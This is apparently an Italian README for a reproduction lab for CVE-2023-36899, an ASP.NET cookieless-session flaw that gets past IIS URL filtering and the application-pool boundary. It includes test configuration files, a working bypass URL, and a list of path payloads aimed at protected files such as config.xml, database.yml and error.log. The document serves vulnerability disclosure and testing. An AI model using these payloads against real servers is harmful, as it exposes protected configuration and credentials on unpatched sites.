
Ambiente di riproduzione e strumento per la vulnerabilità CVE-2023-36899, incentrati sul bypass dell'autenticazione di sessione senza cookie (cookieless) nel framework ASP.NET.
Ambiente di riproduzione e strumenti per la vulnerabilità CVE-2023-36899, relativa al bypass dell'autenticazione di sessione senza cookie in ASP.NET Framework.
Cookieless DuoDrop: bypass dell'autenticazione IIS e privesc del pool di applicazioni in ASP.NET Framework (CVE-2023-36899)
Nello sviluppo web moderno, sebbene i cookie siano il metodo preferito per trasmettere l'ID di sessione, .NET Framework offre anche un'alternativa: codificare direttamente l'ID di sessione nell'URL. Questa tecnica è nota come funzionalità "senza cookie" in .NET Framework. Molti sviluppatori e tester di sicurezza trascurano questa opzione perché è rara nelle applicazioni reali. Tuttavia, è diventata un tesoro per scoprire vulnerabilità lato client come session fixation, session hijacking, HTML injection e cross-site scripting. Inoltre, questa funzionalità può essere sfruttata per bypassare regole firewall basate sul percorso che non sono configurate per riconoscere i metodi senza cookie. A causa di problemi di sicurezza intrinseci, .NET Core e le versioni successive di .NET hanno omesso la funzionalità senza cookie. Ma non dobbiamo dimenticare la moltitudine di applicazioni web che utilizzano ancora il classico .NET Framework.
Punti chiave:
La funzionalità senza cookie di .NET Framework può essere abusata per accedere a directory protette o bloccate dal filtro URL di IIS. Ad esempio, considera la seguente situazione sul sito victim.com:
Normalmente, l'accesso a queste pagine tramite questi URL viene bloccato in IIS:
Tuttavia, è possibile sfruttare la funzionalità senza cookie per accedere a queste pagine tramite i seguenti modelli:
Il modo in cui IIS gestisce i pool di applicazioni può portare a escalation dei privilegi o bypass di sicurezza. È possibile manipolare la funzionalità senza cookie di .NET Framework per forzare un'applicazione IIS a utilizzare il pool di applicazioni padre invece del proprio. Ad esempio:
Un file C# chiamato AppPoolPrint.aspx è accessibile in tutte le applicazioni sopra indicate e mostra il nome del pool di applicazioni corrente. Utilizzando la funzionalità senza cookie due volte, possiamo eseguire questa pagina con il pool di applicazioni padre:
Ciò consente anche alle pagine in /classic/nodotnet/ (che non dovrebbero eseguire codice gestito) di eseguire pagine ASPX utilizzando il pool di applicazioni padre. Questo comportamento può portare a un'escalation dei privilegi su IIS.
Durante l'installazione di IIS selezionare
Contenuto di test del file target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Contenuto di test del file web.config nella directory radice:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Dove significa che il sito utilizza i cookie per memorizzare alcune informazioni di sessione predefinite, ed è anche l'impostazione predefinita

Utilizzando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx si accede con successo

Elenco di payload possibili:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899